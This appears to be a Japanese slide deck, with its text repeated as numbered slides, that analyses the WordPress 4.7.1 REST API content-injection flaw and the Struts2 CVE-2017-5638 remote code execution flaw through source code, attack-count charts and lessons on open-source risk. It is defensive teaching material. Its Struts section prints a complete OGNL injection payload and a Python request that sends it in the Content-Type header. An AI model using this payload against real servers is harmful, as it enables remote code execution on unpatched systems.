Security Learning Vol. 2
話題の脆弱性をコードで紐解く!
サイバーセキュリティクラウド 渡辺 洋司
本日お持ち帰りいただきたいこと
OSS の2面性
 攻撃側の観点としては
 OSSであるがゆえに、ソースコードを解析され、フレームワーク、
CMS固有の脆弱性が狙われる
 PoC(Proof of Concept:攻撃のサンプルコード) が公開される
と一気に利用される。基本は数時間で。
 利用者の観点としては
 便利さの裏に危険もあることを理解する
 まずかった実装に学ぶことができる
本日取り扱う脆弱性
WordPress 4.7.1 REST API Vulnerability
CVE-2017-5638/S2-045 Struts2
CVE-2017-9805/S2-052 Struts2
WordPress 4.7.1 REST API Vulnerability
どんな脆弱性?
 認証/認可を回避しREST API 経由でコンテンツを更新されてしまう
攻撃容易性は?
 非常に容易
原因は?
 プログラム上の不備
 4.7 から REST API が Core に取り込まれたため、プラグインとは違い自
動で有効になってしまった
WordPress 4.7.1 REST API Vulnerability
Sucuri のレポートブログ
Content Injection Vulnerability in WordPress
https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-
api.html
徳丸氏の解説記事
WordPress 4.7.1 の権限昇格脆弱性について検証した
https://blog.tokumaru.org/2017/02/wordpress-4.7.1-Privilege-Escalation.html
WordPress 4.7.1 REST API Vulnerability
攻撃手法
POST /wp-****/**/api/1/?id=1abc
{ ‘xxxxx’ : ‘’, ‘yyyyy’ : ‘Hacked by …..’ }
REST API のエンドポイント /wp-****/**/api/1/?id=1abcに対して POST
する。成功した場合、 id=1 のコンテンツが書き換えられてしまう。
id=1abc を指定しているのに。。
WordPress 4.7.1 REST API Vulnerability
REST API エンドポイントの呼び出し手順を理解する
① エンドポイント(URI と ロジックのハンドラ)を登録する
② アクセスされたURIに対応するハンドラを呼び出す
③ ハンドラに設定されている permission_callback でエンドポイント
の処理権限を確認する
④ ハンドラに設定されている callback を呼び出し実際の処理を実行
する
WordPress 4.7.1 REST API Vulnerability
wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php
① REST API エンドポイントの登録
 method が WP_REST_Server::EDITABLE( ‘POST, PUT, PATCH‘) のいずれかで
 URI が namespace/rest_base/?p<id>[d]+ の場合
 権限チェックとして、update_item_permissions_check が呼び出され
 権限があった場合に update_item が呼び出される
WordPress 4.7.1 REST API Vulnerability
② path にマッチするハンドラを取得
③ ハンドラの permission_callback を呼び出し権限チェック
④ 権限がOKであれば、ハンドラの callback を呼び出し処理を実行
WordPress 4.7.1 REST API Vulnerability
wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php
update_item_permissions_check
$post = get_post (‘1abc’) ;
get_post 関数は存在しない場合
null を返却し、$post が null の場合
チェックされない
WordPress 4.7.1 REST API Vulnerability
wp-includes/post.php
get_post を掘り下げ
存在しない id =“1abc” が $post に指定さ
れた場合
get_instance($post) で取得できず
return null となる
WordPress 4.7.1 REST API Vulnerability
wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php
update_item_permissions_check
$post = get_post (‘1abc’) ;
get_post 関数は存在しない場合
null を返却し、$post が null の場合
チェックされない
auther, sticky はリクエストになければ
チェックされない
check_assing_terms_permission も
リクエストの内容次第で通過
最終的に
id = 1abc のコンテンツは存在しないが
本関数の戻り値は true となり、
handler 処理が継続可能となる。
プログラム実装上のミス
WordPress 4.7.1 REST API Vulnerability
wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php
update_item
id = 1abc のコンテンツは存在しないが
int へのキャストにより、 abc が落とされ
$id に 1 が代入される。
update_item_permissions_check とは異なり
get_post(1) で取得できた既存のコンテンツが更新対象となる
結果として、?id=で指定した数値部分の
コンテンツIDの更新が実施される
WordPress 4.7.1 REST API Vulnerability
修正箇所の確認(GitHub)
確認ポイント
update_item_permissions_check の実装
→ get_post(‘1abc’) が入った場合にどうなるか?
https://github.com/WordPress/WordPress/blob/master/wp-includes/rest-
api/endpoints/class-wp-rest-posts-controller.php
WordPress 4.7.1 REST API Vulnerability
まとめ
利用フレームワーク/ライブラリのバージョンアップで勝手に有効に
なるのは怖い・アップデート時にどこまで確認できるか??
PHPは、ここまでゆるく実装させてくれたのはうれしいけど
キャストって怖い
異常ケースのテストケースで発見できたかもしれない
脆弱性発表からの攻撃状況
0
50
100
150
200
250
300
350
400
450
500
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
2017/02 Attack Count
GET/POST HTTP 200 POST
脆弱性
公表
POSTに至るもの
は少ない
縮小傾向
時間別にみた攻撃者の動き
0
50
100
150
200
250
300
350
400
450
500
0:00 1:00 2:00 3:00 4:00 5:00 6:00 7:00 8:00 9:00 10:00 11:00 12:00 13:00 14:00 15:00 16:00 17:00 18:00 19:00 20:00 21:00 22:00 23:00
期間内の時間別アクセス数
CVE-2017-5638/S2-045
どんな脆弱性?
 不正なHTTP リクエストに Struts2 の OGNL 式(要はプログラム)を設
定することで任意のプログラムを実行される。(Remote Code
Execution)
攻撃容易性は?
 非常に容易
原因は?
 プログラム上の不備ではあるが、エラー処理のかなり深い部分
 コンポーネント分割の弊害ともいえる(エラーメッセージ作る部分とそ
のメッセージのハンドリング部分が遠い)
CVE-2017-5638/S2-045 Struts2
攻撃手法
payload = "%{(#test='multipart/form-
data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_me
mberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.c
ontainer']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlU
til@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClass
es().clear()).(#context.setMemberAccess(#dm)))).(#ros=(@org.apache.struts2.ServletA
ctionContext@getResponse().getOutputStream())).(#ros.println(102*102*102*99)).(#ros
.flush())}"
headers = {}
headers["Content-Type"] = payload
r = requests.get(url, headers=headers)
Content-Type に multipart/form-data を含んだ OGNL 式を送
るだけの簡単なお仕事
CVE-2017-5638/S2-045 Struts2
「OGNL」とは
Object Graph Navigation Library の略
Struts2 における OGNL 式は、 %{ … } の表記で
オブジェクトやプロパティにアクセス可能、処理を記述できる。
"%{(#test='multipart/form-data').
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.contain
er']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).
(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm)))).
(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(#ros.println(102*102*102*99)).
(#ros.flush())}"
CVE-2017-5638/S2-045 Struts2
まずは修正部分を確認してみましょう
https://github.com/apache/struts/commit/6b8272ce47160036ed120a
48345d9aa884477228#diff-28391d46e56bece9a7aba6eadd9f3080
CVE-2017-5638/S2-045 Struts2
Multi-Part の HTTP Request 処理エラーが発生した際に
LocalizedTextUtil.findText で、Error メッセージを処理するが
この際、error.getDefaultMessage() で得られる文字列が OGNL 式の
場合にその OGNL 式の評価が行なわれてしまう。
CVE-2017-5638/S2-045 Struts2
どこで エラーメッセージに OGNL 式が入ったのか?
org.apache.commons.fileupload.FileUploadBase.java
Cntent-type の形式エラーが発生した際の例外メッセージの構築で
入力値をエラーメッセージに含めるよう実装されている。
今回、指定された入力値が、OGNL式 として評価可能な文字列であるため、外部から OGNL
式のプログラムがインジェクションされてしまった。
しかも、このエラーメッセージ構築部分は、Struts2 本体ではなく、commons-fileupload の
実装部分という罠。。どう把握しろというのか。
CVE-2017-5638/S2-045 Struts2
先に示した OGNLのサンプル式を Content-Type に指定した場合、以下
のエラーメッセージが構築され、LocalizedTextUtil.findText にて
OGNL 式が評価されてしまう。
the request doesn‘t contain a multipart/form-data or multipart/mixed stream, content
type header is %{(#test='multipart/form-data').
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwo
rk2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).
(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm)))).
(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(#ro
s.println(102*102*102*99)).(#ros.flush())}
CVE-2017-5638/S2-045 Struts2
あらためて修正部分を確認
https://github.com/apache/struts/commit/6b8272ce47160036ed120a
48345d9aa884477228#diff-28391d46e56bece9a7aba6eadd9f3080
CVE-2017-5638/S2-045 Struts2
com.opensymphony.xwork2.TextProvider
TextProvider
CVE-2017-5638/S2-045 Struts2
core/src/main/resources/org/apache/struts2/struts-messages.properties
Key = struts.messages.error.uploading
まとめ
コンポーネント化は便利ではあるが、責任範囲が曖昧となる
# Commons Fileupload の実装だけ見ると何も悪くない
単体テストでは発見できない難しさ
OGNL に依存している部分が多く、まだまだきっとあるよ Struts2 ….
CVE-2017-5638/S2-045 Struts2
本日お持ち帰りいただきたいこと
OSS の2面性
 攻撃側の観点としては
 OSSであるがゆえに、ソースコードを解析され、フレームワーク、
CMS固有の脆弱性が狙われる
 PoC(Proof of Concept:攻撃のサンプルコード) が公開される
と一気に利用される。基本は数時間で。
 利用者の観点としては
 便利さの裏に危険もあることを理解する
 まずかった実装に学ぶことができる

Security Learning Vol2 話題の脆弱性をコードで紐解く!

  • 1.
    Security Learning Vol.2 話題の脆弱性をコードで紐解く! サイバーセキュリティクラウド 渡辺 洋司
  • 2.
    本日お持ち帰りいただきたいこと OSS の2面性  攻撃側の観点としては OSSであるがゆえに、ソースコードを解析され、フレームワーク、 CMS固有の脆弱性が狙われる  PoC(Proof of Concept:攻撃のサンプルコード) が公開される と一気に利用される。基本は数時間で。  利用者の観点としては  便利さの裏に危険もあることを理解する  まずかった実装に学ぶことができる
  • 3.
    本日取り扱う脆弱性 WordPress 4.7.1 RESTAPI Vulnerability CVE-2017-5638/S2-045 Struts2 CVE-2017-9805/S2-052 Struts2
  • 4.
    WordPress 4.7.1 RESTAPI Vulnerability どんな脆弱性?  認証/認可を回避しREST API 経由でコンテンツを更新されてしまう 攻撃容易性は?  非常に容易 原因は?  プログラム上の不備  4.7 から REST API が Core に取り込まれたため、プラグインとは違い自 動で有効になってしまった
  • 5.
    WordPress 4.7.1 RESTAPI Vulnerability Sucuri のレポートブログ Content Injection Vulnerability in WordPress https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest- api.html 徳丸氏の解説記事 WordPress 4.7.1 の権限昇格脆弱性について検証した https://blog.tokumaru.org/2017/02/wordpress-4.7.1-Privilege-Escalation.html
  • 6.
    WordPress 4.7.1 RESTAPI Vulnerability 攻撃手法 POST /wp-****/**/api/1/?id=1abc { ‘xxxxx’ : ‘’, ‘yyyyy’ : ‘Hacked by …..’ } REST API のエンドポイント /wp-****/**/api/1/?id=1abcに対して POST する。成功した場合、 id=1 のコンテンツが書き換えられてしまう。 id=1abc を指定しているのに。。
  • 7.
    WordPress 4.7.1 RESTAPI Vulnerability REST API エンドポイントの呼び出し手順を理解する ① エンドポイント(URI と ロジックのハンドラ)を登録する ② アクセスされたURIに対応するハンドラを呼び出す ③ ハンドラに設定されている permission_callback でエンドポイント の処理権限を確認する ④ ハンドラに設定されている callback を呼び出し実際の処理を実行 する
  • 8.
    WordPress 4.7.1 RESTAPI Vulnerability wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php ① REST API エンドポイントの登録  method が WP_REST_Server::EDITABLE( ‘POST, PUT, PATCH‘) のいずれかで  URI が namespace/rest_base/?p<id>[d]+ の場合  権限チェックとして、update_item_permissions_check が呼び出され  権限があった場合に update_item が呼び出される
  • 9.
    WordPress 4.7.1 RESTAPI Vulnerability ② path にマッチするハンドラを取得 ③ ハンドラの permission_callback を呼び出し権限チェック ④ 権限がOKであれば、ハンドラの callback を呼び出し処理を実行
  • 10.
    WordPress 4.7.1 RESTAPI Vulnerability wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php update_item_permissions_check $post = get_post (‘1abc’) ; get_post 関数は存在しない場合 null を返却し、$post が null の場合 チェックされない
  • 11.
    WordPress 4.7.1 RESTAPI Vulnerability wp-includes/post.php get_post を掘り下げ 存在しない id =“1abc” が $post に指定さ れた場合 get_instance($post) で取得できず return null となる
  • 12.
    WordPress 4.7.1 RESTAPI Vulnerability wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php update_item_permissions_check $post = get_post (‘1abc’) ; get_post 関数は存在しない場合 null を返却し、$post が null の場合 チェックされない auther, sticky はリクエストになければ チェックされない check_assing_terms_permission も リクエストの内容次第で通過 最終的に id = 1abc のコンテンツは存在しないが 本関数の戻り値は true となり、 handler 処理が継続可能となる。 プログラム実装上のミス
  • 13.
    WordPress 4.7.1 RESTAPI Vulnerability wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php update_item id = 1abc のコンテンツは存在しないが int へのキャストにより、 abc が落とされ $id に 1 が代入される。 update_item_permissions_check とは異なり get_post(1) で取得できた既存のコンテンツが更新対象となる 結果として、?id=で指定した数値部分の コンテンツIDの更新が実施される
  • 14.
    WordPress 4.7.1 RESTAPI Vulnerability 修正箇所の確認(GitHub) 確認ポイント update_item_permissions_check の実装 → get_post(‘1abc’) が入った場合にどうなるか? https://github.com/WordPress/WordPress/blob/master/wp-includes/rest- api/endpoints/class-wp-rest-posts-controller.php
  • 15.
    WordPress 4.7.1 RESTAPI Vulnerability まとめ 利用フレームワーク/ライブラリのバージョンアップで勝手に有効に なるのは怖い・アップデート時にどこまで確認できるか?? PHPは、ここまでゆるく実装させてくれたのはうれしいけど キャストって怖い 異常ケースのテストケースで発見できたかもしれない
  • 16.
    脆弱性発表からの攻撃状況 0 50 100 150 200 250 300 350 400 450 500 1 2 34 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 2017/02 Attack Count GET/POST HTTP 200 POST 脆弱性 公表 POSTに至るもの は少ない 縮小傾向
  • 17.
    時間別にみた攻撃者の動き 0 50 100 150 200 250 300 350 400 450 500 0:00 1:00 2:003:00 4:00 5:00 6:00 7:00 8:00 9:00 10:00 11:00 12:00 13:00 14:00 15:00 16:00 17:00 18:00 19:00 20:00 21:00 22:00 23:00 期間内の時間別アクセス数
  • 18.
    CVE-2017-5638/S2-045 どんな脆弱性?  不正なHTTP リクエストにStruts2 の OGNL 式(要はプログラム)を設 定することで任意のプログラムを実行される。(Remote Code Execution) 攻撃容易性は?  非常に容易 原因は?  プログラム上の不備ではあるが、エラー処理のかなり深い部分  コンポーネント分割の弊害ともいえる(エラーメッセージ作る部分とそ のメッセージのハンドリング部分が遠い)
  • 19.
    CVE-2017-5638/S2-045 Struts2 攻撃手法 payload ="%{(#test='multipart/form- data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_me mberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.c ontainer']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlU til@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClass es().clear()).(#context.setMemberAccess(#dm)))).(#ros=(@org.apache.struts2.ServletA ctionContext@getResponse().getOutputStream())).(#ros.println(102*102*102*99)).(#ros .flush())}" headers = {} headers["Content-Type"] = payload r = requests.get(url, headers=headers) Content-Type に multipart/form-data を含んだ OGNL 式を送 るだけの簡単なお仕事
  • 20.
    CVE-2017-5638/S2-045 Struts2 「OGNL」とは Object GraphNavigation Library の略 Struts2 における OGNL 式は、 %{ … } の表記で オブジェクトやプロパティにアクセス可能、処理を記述できる。 "%{(#test='multipart/form-data'). (#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS). (#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.contain er']). (#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)). (#ognlUtil.getExcludedPackageNames().clear()). (#ognlUtil.getExcludedClasses().clear()). (#context.setMemberAccess(#dm)))). (#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(#ros.println(102*102*102*99)). (#ros.flush())}"
  • 21.
  • 22.
    CVE-2017-5638/S2-045 Struts2 Multi-Part のHTTP Request 処理エラーが発生した際に LocalizedTextUtil.findText で、Error メッセージを処理するが この際、error.getDefaultMessage() で得られる文字列が OGNL 式の 場合にその OGNL 式の評価が行なわれてしまう。
  • 23.
    CVE-2017-5638/S2-045 Struts2 どこで エラーメッセージにOGNL 式が入ったのか? org.apache.commons.fileupload.FileUploadBase.java Cntent-type の形式エラーが発生した際の例外メッセージの構築で 入力値をエラーメッセージに含めるよう実装されている。 今回、指定された入力値が、OGNL式 として評価可能な文字列であるため、外部から OGNL 式のプログラムがインジェクションされてしまった。 しかも、このエラーメッセージ構築部分は、Struts2 本体ではなく、commons-fileupload の 実装部分という罠。。どう把握しろというのか。
  • 24.
    CVE-2017-5638/S2-045 Struts2 先に示した OGNLのサンプル式をContent-Type に指定した場合、以下 のエラーメッセージが構築され、LocalizedTextUtil.findText にて OGNL 式が評価されてしまう。 the request doesn‘t contain a multipart/form-data or multipart/mixed stream, content type header is %{(#test='multipart/form-data'). (#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS). (#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwo rk2.ActionContext.container']). (#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)). (#ognlUtil.getExcludedPackageNames().clear()). (#ognlUtil.getExcludedClasses().clear()). (#context.setMemberAccess(#dm)))). (#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(#ro s.println(102*102*102*99)).(#ros.flush())}
  • 25.
  • 26.
  • 27.
  • 28.
    まとめ コンポーネント化は便利ではあるが、責任範囲が曖昧となる # Commons Fileuploadの実装だけ見ると何も悪くない 単体テストでは発見できない難しさ OGNL に依存している部分が多く、まだまだきっとあるよ Struts2 …. CVE-2017-5638/S2-045 Struts2
  • 29.
    本日お持ち帰りいただきたいこと OSS の2面性  攻撃側の観点としては OSSであるがゆえに、ソースコードを解析され、フレームワーク、 CMS固有の脆弱性が狙われる  PoC(Proof of Concept:攻撃のサンプルコード) が公開される と一気に利用される。基本は数時間で。  利用者の観点としては  便利さの裏に危険もあることを理解する  まずかった実装に学ぶことができる